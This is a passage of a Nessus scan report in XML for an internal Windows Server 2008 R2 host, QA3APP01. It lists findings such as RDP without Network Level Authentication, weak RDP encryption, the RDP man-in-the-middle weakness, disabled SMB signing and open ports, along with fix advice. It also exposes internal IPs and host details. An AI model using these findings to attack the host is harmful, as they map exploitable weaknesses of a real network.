12330 <solution>Enable Network Level Authentication (NLA) on the remote RDP server. This is generally done on the &apos;Remote&apos; tab of the &apos;System&apos; settings on Windows.</solution>
12331 <synopsis>The remote Terminal Services doesn&apos;t use Network Level Authentication.</synopsis>
12332 </ReportItem>
12333 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
12334 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
12335 <fname>device_type.nasl</fname>
12336 <plugin_modification_date>2011/05/23</plugin_modification_date>
12337 <plugin_name>Device Type</plugin_name>
12338 <plugin_publication_date>2011/05/23</plugin_publication_date>
12339 <plugin_type>combined</plugin_type>
12340 <risk_factor>None</risk_factor>
12341 <script_version>$Revision: 1.1 $</script_version>
12342 <solution>n/a</solution>
12343 <synopsis>It is possible to guess the remote device type.</synopsis>
12344 <plugin_output>Remote device type : general-purpose
12345 Confidence level : 99
12346 </plugin_output>
12347 </ReportItem>
12348 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
12349 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
12350
12351 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
12352 <fname>cpe.nbin</fname>
12353 <plugin_modification_date>2013/05/13</plugin_modification_date>
12354 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
12355 <plugin_publication_date>2010/04/21</plugin_publication_date>
12356 <plugin_type>local</plugin_type>
12357 <risk_factor>None</risk_factor>
12358 <script_version>$Revision: 1.19 $</script_version>
12359 <see_also>http://cpe.mitre.org/</see_also>
12360 <solution>n/a</solution>
12361 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
12362 <plugin_output>
12363 The remote operating system matched the following CPE :
12364
12365 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
12366
12367 Following application CPE matched on the remote system :
12368
12369 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
12370 </plugin_output>
12371 </ReportItem>
12372 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="64814" pluginName="Terminal Services Use SSL/TLS" pluginFamily="Misc.">
12373 <cpe>cpe:/o:microsoft:windows
12374 cpe:/a:microsoft:remote_desktop_protocol</cpe>
12375 <description>The remote Terminal Services is configured to use SSL/TLS.</description>
12376 <fname>rdp_ssl.nasl</fname>
12377 <plugin_modification_date>2013/02/25</plugin_modification_date>
12378 <plugin_name>Terminal Services Use SSL/TLS</plugin_name>
12379 <plugin_publication_date>2013/02/22</plugin_publication_date>
12380 <plugin_type>remote</plugin_type>
12381 <risk_factor>None</risk_factor>
12382 <script_version>$Revision: 1.2 $</script_version>
12383 <solution>n/a</solution>
12384 <synopsis>The remote Terminal Services use SSL/TLS.</synopsis>
12385 <plugin_output>Subject Name:
12386
12387 Common Name: QA3APP01.RB.local
12388
12389 Issuer Name:
12390
12391 Common Name: QA3APP01.RB.local
12392
12393 Serial Number: 53 CA AA C9 1B D6 05 B1 47 C0 63 C2 D9 15 B7 28
12394
12395 Version: 3
12396
12397 Signature Algorithm: SHA-1 With RSA Encryption
12398
12399 Not Valid Before: Mar 08 00:16:31 2013 GMT
12400 Not Valid After: Sep 07 00:16:31 2013 GMT
12401
12402 Public Key Info:
12403
12404 Algorithm: RSA Encryption
12405 Key Length: 2048 bits
12406 Public Key: 00 EC 63 DC 70 9D E7 C0 53 EC F2 BB 5F 84 AC F7 DE D3 5A 2C
12407 C1 0F 54 34 D4 5B F0 BE BD 68 E7 DF BD E4 9B C0 F0 A0 05 5E
12408 6A 5F D6 A8 7B 5D 97 B5 65 E2 BC A9 52 C2 19 DF 5C 6A E8 E5
12409 FC 80 34 BE 04 19 DB 91 BC CB 8A B1 00 55 C7 22 02 44 90 A1
12410 79 41 6E 98 E5 D7 50 6C B4 D8 14 C9 D6 CF B9 5A F5 D7 BE DE
12411 EB F2 06 61 77 C5 83 1F 7C BF D8 6A 79 9D EE F9 F7 6B E6 DB
12412 D3 64 5E 9F E6 33 72 A8 FC D7 01 FD 55 33 32 DB D2 ED 87 CF
12413 7F B0 9F 23 49 F2 CF 55 2E F3 98 41 84 D4 EF AC 20 25 84 D4
12414 AE 5E 57 A7 8B 48 9D 6F 3D D5 15 5F F1 AB 58 C5 47 EE 38 55
12415 21 CF F3 EF 42 0C AD 97 3A 63 4E 3F F9 AB B8 69 4D B8 82 6E
12416 A0 11 67 1F 5A 5A 2F B9 30 B3 7C 58 12 DE D8 40 6A C4 D8 0B
12417 C1 DE 4F F9 3F 84 8B 02 8D F9 C1 16 FC 7B 03 2C 53 DD 9D F4
12418 1E B7 D6 10 37 4D 46 74 2C 88 26 5E 6B E3 A0 D9 3F
12419 Exponent: 01 00 01
12420
12421 Signature Length: 256 bytes / 2048 bits
12422 Signature: 00 78 9C 8F BD 43 88 DA 1F 13 EC F5 8E A8 EA A9 D3 91 33 47
12423 5F 53 2F 53 A7 5D 4E E9 18 7C CE 92 AA AC C0 C0 E8 E0 38 81
12424 9E 0C CA BA AD DF ED DA 91 1A 04 0A 30 8B A4 45 78 4E EC F4
12425 DE 06 F5 23 C0 F9 2F F8 31 0A 84 1B 88 DC 62 7C FD 83 37 26
12426 9A 4E 6A 83 69 CA F7 F7 62 F6 72 BE 51 AC 51 E7 7D 3F 50 3B
12427 55 B8 EC 77 08 DA E6 23 7D 92 BA AF 2A 9D 0D C8 EC 47 CB D3
12428 8F D5 37 43 D8 E2 61 B0 07 CE 02 A9 26 BA 0C 9E D7 32 94 6A
12429 0C 3F 99 FB 95 B0 DC 39 E6 9D 0B 83 C1 02 24 08 13 FF 9A 12
12430 37 E1 8F 60 EA 13 9A FB 32 76 1A 95 8A EE 24 43 38 9C 3E 74
12431 5E 70 AC B9 11 F0 AF 1E F4 46 68 49 C5 F7 C0 1B 10 B1 74 20
12432 19 1F 20 3B 5E 4B 57 AF E9 34 17 2D DD C0 B5 57 BF 7F 4B 9F
12433 EB E8 B0 B1 F0 41 F2 06 91 BB 53 D5 56 F9 55 AF F4 3F F5 23
12434 8B 5B 7E 0A DD D1 B7 7C 23 3D D9 1B 73 B1 1F EB FC
12435
12436 Extension: Extended Key Usage (2.5.29.37)
12437 Critical: 0
12438 Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1)
12439
12440
12441 Extension: Key Usage (2.5.29.15)
12442 Critical: 0
12443 Key Usage: Key Encipherment, Data Encipherment
12444
12445
12446 </plugin_output>
12447 </ReportItem>
12448 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
12449 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
12450 <fname>os_fingerprint.nasl</fname>
12451 <plugin_modification_date>2013/04/01</plugin_modification_date>
12452 <plugin_name>OS Identification</plugin_name>
12453 <plugin_publication_date>2003/12/09</plugin_publication_date>
12454 <plugin_type>combined</plugin_type>
12455 <risk_factor>None</risk_factor>
12456 <script_version>$Revision: 2.34 $</script_version>
12457 <solution>n/a</solution>
12458 <synopsis>It is possible to guess the remote operating system.</synopsis>
12459 <plugin_output>
12460 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
12461 Confidence Level : 99
12462 Method : MSRPC
12463
12464
12465 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
12466 </ReportItem>
12467 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
12468 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
12469
12470 This test is informational only and does not denote any security problem.</description>
12471 <fname>http_info.nasl</fname>
12472 <plugin_modification_date>2011/05/31</plugin_modification_date>
12473 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
12474 <plugin_publication_date>2007/01/30</plugin_publication_date>
12475 <plugin_type>remote</plugin_type>
12476 <risk_factor>None</risk_factor>
12477 <script_version>$Revision: 1.12 $</script_version>
12478 <solution>n/a</solution>
12479 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
12480 <plugin_output>
12481 Protocol version : HTTP/1.1
12482 SSL : no
12483 Keep-Alive : no
12484 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
12485 Headers :
12486
12487 Content-Type: text/html
12488 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
12489 Accept-Ranges: bytes
12490 ETag: &quot;ca7a095db27cd1:0&quot;
12491 Server: Microsoft-IIS/7.5
12492 X-Powered-By: ASP.NET
12493 Date: Mon, 01 Jul 2013 18:37:49 GMT
12494 Content-Length: 689
12495
12496 </plugin_output>
12497 </ReportItem>
12498 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
12499 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
12500 <fname>http_version.nasl</fname>
12501 <plugin_modification_date>2013/06/03</plugin_modification_date>
12502 <plugin_name>HTTP Server Type and Version</plugin_name>
12503 <plugin_publication_date>2000/01/04</plugin_publication_date>
12504 <plugin_type>remote</plugin_type>
12505 <risk_factor>None</risk_factor>
12506 <script_version>$Revision: 1.111 $</script_version>
12507 <solution>n/a</solution>
12508 <synopsis>A web server is running on the remote host.</synopsis>
12509 <plugin_output>The remote web server type is :
12510
12511 Microsoft-IIS/7.5</plugin_output>
12512 </ReportItem>
12513 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
12514 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
12515 These OUI are registered by IEEE.</description>
12516 <fname>ethernet_manufacturer.nasl</fname>
12517 <plugin_modification_date>2011/03/27</plugin_modification_date>
12518 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
12519 <plugin_publication_date>2009/02/19</plugin_publication_date>
12520 <plugin_type>combined</plugin_type>
12521 <risk_factor>None</risk_factor>
12522 <script_version>$Revision: 1.9 $</script_version>
12523 <see_also>http://standards.ieee.org/faqs/OUI.html
12524 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
12525 <solution>n/a</solution>
12526 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
12527 <plugin_output>
12528 The following card manufacturers were identified :
12529
12530 00:50:56:81:01:b8 : VMware, Inc.
12531 </plugin_output>
12532 </ReportItem>
12533 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
12534 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
12535
12536 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
12537 <fname>vmware_detect.nasl</fname>
12538 <plugin_modification_date>2011/03/27</plugin_modification_date>
12539 <plugin_name>VMware Virtual Machine Detection</plugin_name>
12540 <plugin_publication_date>2005/10/27</plugin_publication_date>
12541 <plugin_type>combined</plugin_type>
12542 <risk_factor>None</risk_factor>
12543 <script_version>$Revision: 1.24 $</script_version>
12544 <solution>n/a</solution>
12545 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
12546 </ReportItem>
12547 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
12548 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
12549
12550 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
12551
12552 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
12553 <fname>web_directory_options.nasl</fname>
12554 <plugin_modification_date>2013/05/09</plugin_modification_date>
12555 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
12556 <plugin_publication_date>2009/12/10</plugin_publication_date>
12557 <plugin_type>remote</plugin_type>
12558 <risk_factor>None</risk_factor>
12559 <script_version>$Revision: 1.7 $</script_version>
12560 <solution>n/a</solution>
12561 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
12562 <plugin_output>Based on the response to an OPTIONS request :
12563
12564 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
12565
12566 /
12567
12568 </plugin_output>
12569 </ReportItem>
12570 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
12571 <bid>13818</bid>
12572 <cve>CVE-2005-1794</cve>
12573 <cvss_base_score>5.1</cvss_base_score>
12574 <cvss_temporal_score>4.6</cvss_temporal_score>
12575 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
12576 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
12577 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
12578
12579 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
12580 <exploit_available>true</exploit_available>
12581 <exploitability_ease>Exploits are available</exploitability_ease>
12582 <fname>tssvc_mim.nasl</fname>
12583 <osvdb>17131</osvdb>
12584 <plugin_modification_date>2012/03/30</plugin_modification_date>
12585 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
12586 <plugin_publication_date>2005/06/01</plugin_publication_date>
12587 <plugin_type>remote</plugin_type>
12588 <risk_factor>Medium</risk_factor>
12589 <script_version>$Revision: 1.23 $</script_version>
12590 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
12591 http://www.nessus.org/u?e2628096
12592 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
12593 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
12594 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
12595 <synopsis>It may be possible to get access to the remote host.</synopsis>
12596 <vuln_publication_date>2005/05/28</vuln_publication_date>
12597 <xref>OSVDB:17131</xref>
12598 </ReportItem>
12599 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
12600 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
12601 <fname>www_default_page.nasl</fname>
12602 <osvdb>2117</osvdb>
12603 <plugin_modification_date>2011/08/12</plugin_modification_date>
12604 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
12605 <plugin_publication_date>2003/03/20</plugin_publication_date>
12606 <plugin_type>remote</plugin_type>
12607 <risk_factor>None</risk_factor>
12608 <script_version>$Revision: 1.37 $</script_version>
12609 <solution>Disable this service if you do not use it.</solution>
12610 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
12611 <vuln_publication_date>1994/01/01</vuln_publication_date>
12612 <xref>OSVDB:2117</xref>
12613 <plugin_output>
12614 The default welcome page is from IIS.
12615 </plugin_output>
12616 </ReportItem>
12617 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
12618 <cpe>cpe:/o:microsoft:windows</cpe>
12619 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
12620
12621 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
12622 <fname>rdp_logon_screen.nbin</fname>
12623 <plugin_modification_date>2013/05/08</plugin_modification_date>
12624 <plugin_name>RDP Screenshot</plugin_name>
12625 <plugin_publication_date>2013/04/22</plugin_publication_date>
12626 <plugin_type>remote</plugin_type>
12627 <risk_factor>None</risk_factor>
12628 <script_version>$Revision: 1.4 $</script_version>
12629 <solution>n/a</solution>
12630 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
12631 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
12632 <attachment name="ts_screenshot.jpg" type="image/bmp">763bdee90d6b11023d6d070a1cde46d4</attachment>
12633 </ReportItem>
12634 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
12635 <cvss_base_score>4.3</cvss_base_score>
12636 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
12637 <description>The remote Terminal Services service is not configured to use strong cryptography.
12638
12639 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
12640 <fname>rdp_weak_crypto.nbin</fname>
12641 <plugin_modification_date>2013/04/22</plugin_modification_date>
12642 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
12643 <plugin_publication_date>2012/01/25</plugin_publication_date>
12644 <plugin_type>remote</plugin_type>
12645 <risk_factor>Medium</risk_factor>
12646 <script_version>$Revision: 1.6 $</script_version>
12647 <solution>Change RDP encryption level to one of :
12648
12649 3. High
12650
12651 4. FIPS Compliant</solution>
12652 <synopsis>The remote host is using weak cryptography.</synopsis>
12653 <plugin_output>
12654 The terminal services encryption level is set to :
12655
12656 2. Medium</plugin_output>
12657 </ReportItem>
12658 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
12659 <cvss_base_score>2.6</cvss_base_score>
12660 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
12661 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
12662 <fname>fips_rdp.nbin</fname>
12663 <plugin_modification_date>2013/04/22</plugin_modification_date>
12664 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
12665 <plugin_publication_date>2008/02/11</plugin_publication_date>
12666 <plugin_type>remote</plugin_type>
12667 <risk_factor>Low</risk_factor>
12668 <script_version>$Revision: 1.9 $</script_version>
12669 <solution>Change RDP encryption level to :
12670
12671 4. FIPS Compliant</solution>
12672 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
12673 <plugin_output>
12674 The terminal services encryption level is set to :
12675
12676 2. Medium (Client Compatible)</plugin_output>
12677 </ReportItem>
12678 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
12679 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
12680
12681 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
12682
12683 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
12684 <fname>windows_terminal_services.nasl</fname>
12685 <plugin_modification_date>2012/03/30</plugin_modification_date>
12686 <plugin_name>Windows Terminal Services Enabled</plugin_name>
12687 <plugin_publication_date>2002/04/20</plugin_publication_date>
12688 <plugin_type>remote</plugin_type>
12689 <risk_factor>None</risk_factor>
12690 <script_version>$Revision: 1.29 $</script_version>
12691 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
12692 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
12693 </ReportItem>
12694 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
12695 <cpe>cpe:/o:microsoft:windows</cpe>
12696 <cvss_base_score>5.0</cvss_base_score>
12697 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
12698 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
12699 <fname>smb_signing_disabled.nasl</fname>
12700 <plugin_modification_date>2012/03/05</plugin_modification_date>
12701 <plugin_name>SMB Signing Disabled</plugin_name>
12702 <plugin_publication_date>2012/01/19</plugin_publication_date>
12703 <plugin_type>remote</plugin_type>
12704 <risk_factor>Medium</risk_factor>
12705 <script_version>$Revision: 1.7 $</script_version>
12706 <see_also>http://support.microsoft.com/kb/887429
12707 http://www.nessus.org/u?74b80723
12708 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
12709 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
12710 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
12711 <vuln_publication_date>2012/01/17</vuln_publication_date>
12712 </ReportItem>
12713 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
12714 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
12715 <fname>find_service.nasl</fname>
12716 <plugin_modification_date>2013/05/12</plugin_modification_date>
12717 <plugin_name>Service Detection</plugin_name>
12718 <plugin_publication_date>2007/08/19</plugin_publication_date>
12719 <plugin_type>remote</plugin_type>
12720 <risk_factor>None</risk_factor>
12721 <script_version>$Revision: 1.123 $</script_version>
12722 <solution>n/a</solution>
12723 <synopsis>The remote service could be identified.</synopsis>
12724 <plugin_output>A web server is running on this port.</plugin_output>
12725 </ReportItem>
12726 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
12727 <description>The name of this machine either does not resolve or resolves to a different IP address.
12728
12729 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
12730
12731 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
12732 <fname>bad_rdns.nasl</fname>
12733 <plugin_modification_date>2011/10/06</plugin_modification_date>
12734 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
12735 <plugin_publication_date>2010/05/03</plugin_publication_date>
12736 <plugin_type>remote</plugin_type>
12737 <risk_factor>None</risk_factor>
12738 <script_version>1.6</script_version>
12739 <solution>Fix the reverse DNS or host file.</solution>
12740 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
12741 <plugin_output>The host name &apos;qa3app01&apos; does not resolve to an IP address</plugin_output>
12742 </ReportItem>
12743 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
12744 <description>Nessus was able to resolve the FQDN of the remote host.</description>
12745 <fname>fqdn.nasl</fname>
12746 <plugin_modification_date>2012/09/28</plugin_modification_date>
12747 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
12748 <plugin_publication_date>2004/02/11</plugin_publication_date>
12749 <plugin_type>remote</plugin_type>
12750 <risk_factor>None</risk_factor>
12751 <script_version>$Revision: 1.12 $</script_version>
12752 <solution>n/a</solution>
12753 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
12754 <plugin_output>
12755 10.31.112.21 resolves as qa3app01.
12756 </plugin_output>
12757 </ReportItem>
12758 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
12759 <description>Makes a traceroute to the remote host.</description>
12760 <fname>traceroute.nasl</fname>
12761 <plugin_modification_date>2013/04/11</plugin_modification_date>
12762 <plugin_name>Traceroute Information</plugin_name>
12763 <plugin_publication_date>1999/11/27</plugin_publication_date>
12764 <plugin_type>remote</plugin_type>
12765 <risk_factor>None</risk_factor>
12766 <script_version>1.62</script_version>
12767 <solution>n/a</solution>
12768 <synopsis>It was possible to obtain traceroute information.</synopsis>
12769 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.21 :
12770 172.16.138.174
12771 172.16.138.2
12772 10.31.112.21
12773 </plugin_output>
12774 </ReportItem>
12775 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
12776 <cpe>cpe:/o:microsoft:windows</cpe>
12777 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
12778
12779 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
12780
12781 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
12782 <fname>smb_scan_not_admin.nasl</fname>
12783 <plugin_modification_date>2013/01/07</plugin_modification_date>
12784 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
12785 <plugin_publication_date>2007/03/12</plugin_publication_date>
12786 <plugin_type>local</plugin_type>
12787 <risk_factor>None</risk_factor>
12788 <script_version>$Revision: 1.11 $</script_version>
12789 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
12790 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
12791 <plugin_output>
12792 It was not possible to connect to &apos;\\QA3APP01\ADMIN$&apos; with the supplied credentials.
12793 </plugin_output>
12794 </ReportItem>
12795 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
12796 <description>It was not possible to connect to PIPE\winreg on the remote host.
12797
12798 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
12799 <fname>smb_registry_fail.nasl</fname>
12800 <plugin_modification_date>2011/03/27</plugin_modification_date>
12801 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
12802 <plugin_publication_date>2007/10/04</plugin_publication_date>
12803 <plugin_type>local</plugin_type>
12804 <risk_factor>None</risk_factor>
12805 <script_version>$Revision: 1.10 $</script_version>
12806 <solution>n/a</solution>
12807 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
12808 <plugin_output>Could not connect to the registry because:
12809 Could not connect to \winreg</plugin_output>
12810 </ReportItem>
12811 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
12812 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
12813 It shall be reasonably quick even against a firewalled target.
12814
12815 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
12816 <fname>nessus_syn_scanner.nbin</fname>
12817 <plugin_modification_date>2011/04/05</plugin_modification_date>
12818 <plugin_name>Nessus SYN scanner</plugin_name>
12819 <plugin_type>remote</plugin_type>
12820 <risk_factor>None</risk_factor>
12821 <script_version>$Revision: 1.14 $</script_version>
12822 <solution>Protect your target with an IP filter.</solution>
12823 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
12824 <plugin_output>Port 445/tcp was found to be open</plugin_output>
12825 </ReportItem>
12826 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
12827 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
12828 It shall be reasonably quick even against a firewalled target.
12829
12830 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
12831 <fname>nessus_syn_scanner.nbin</fname>
12832 <plugin_modification_date>2011/04/05</plugin_modification_date>
12833 <plugin_name>Nessus SYN scanner</plugin_name>
12834 <plugin_type>remote</plugin_type>
12835 <risk_factor>None</risk_factor>
12836 <script_version>$Revision: 1.14 $</script_version>
12837 <solution>Protect your target with an IP filter.</solution>
12838 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
12839 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
12840 </ReportItem>
12841 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
12842 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
12843 It shall be reasonably quick even against a firewalled target.
12844
12845 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
12846 <fname>nessus_syn_scanner.nbin</fname>
12847 <plugin_modification_date>2011/04/05</plugin_modification_date>
12848 <plugin_name>Nessus SYN scanner</plugin_name>
12849 <plugin_type>remote</plugin_type>
12850 <risk_factor>None</risk_factor>
12851 <script_version>$Revision: 1.14 $</script_version>
